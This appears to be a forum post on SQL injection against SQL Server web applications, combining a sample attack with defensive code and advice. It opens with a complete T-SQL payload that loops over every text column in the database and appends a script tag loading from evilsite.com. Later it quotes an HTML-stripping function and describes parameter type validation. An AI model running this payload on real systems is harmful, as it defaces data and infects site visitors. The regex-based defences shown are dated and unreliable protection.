sql injection: your application is not safe

DECLARE @T varchar(255), @C varchar(255);  
DECLARE Table_Cursor CURSOR FOR  
SELECT a.name, b.name  
FROM sysobjects a, syscolumns b  
WHERE a.id = b.id AND a.xtype = 'u' AND  
(b.xtype = 99 OR  
b.xtype = 35 OR  
b.xtype = 231 OR  
b.xtype = 167);  
OPEN Table_Cursor;  
FETCH NEXT FROM Table_Cursor INTO @T, @C;  
WHILE (@@FETCH_STATUS = 0) BEGIN  
EXEC(  
'update [' + @T + '] set [' + @C + '] =  
rtrim(convert(varchar,[' + @C + ']))+  
''<script src=http://evilsite.com/1.js></script>'''  
);  
FETCH NEXT FROM Table_Cursor INTO @T, @C;  
END;  
CLOSE Table_Cursor;  
DEALLOCATE Table_Cursor;

Function stripHTML(strHTML)  
'Strips the HTML tags from strHTML  
  
  Dim objRegExp, strOutput  
  Set objRegExp = New Regexp  
  
  objRegExp.IgnoreCase = True  
  objRegExp.Global = True  
  objRegExp.Pattern = "<(.|\n)+?>"  
  
  'Replace all HTML tag matches with the empty string  
  strOutput = objRegExp.Replace(strHTML, "")  
    
  'Replace all < and > with < and >  
  strOutput = Replace(strOutput, "<", "<")  
  strOutput = Replace(strOutput, ">", ">")  
    
  stripHTML = strOutput    'Return the value of strOutput  
  
  Set objRegExp = Nothing  
End Function  
  

Quote :

source http://www.4guysfromrolla.com/webtech/042501-1.shtml#postadlink

Quote Vasiliy:

If someone is interested, we resolved the problem with SQL injections (or I think so :)

Considering that here and there we have calls to SQL Server with parameters, we made a global protection on web-app level by checking every value of every parameter on data type.
If parameter value has characters (or strings) that are not acceptable for this parameter name we either remove this parameter, or redirect to error page.

I created a dictionary of parameter data types that we can expect from request.
For example parameters are: int, decimal, safestring, savehtml, unsavehtml.

In our web-app every page has 2 include files: header and footer.
In page header I added a parser, that checks every passed parameter for every request.
This parser validates (regex) data in parameter value with data type, assigned for parameter name.

This approach, validate every parameter for entire web-app, made our app secure against sql injections.

	// your existing database connection with read only credential  
	$db = new clsDBConnection();  
	  
	// Change the DB user with right to add a record  
	$db->connect(database, host, port, user, password);  
	  
	$SQL = "INSERT INTO report (report_task_id,report_creator) ".   
	"VALUES (". $db->ToSQL(CCGetFromGet("task_id",0),ccsInteger) .",". $db->ToSQL(CCGetUserID(),ccsInteger) .")";  
  
	$db->query($SQL);  
	$db->close();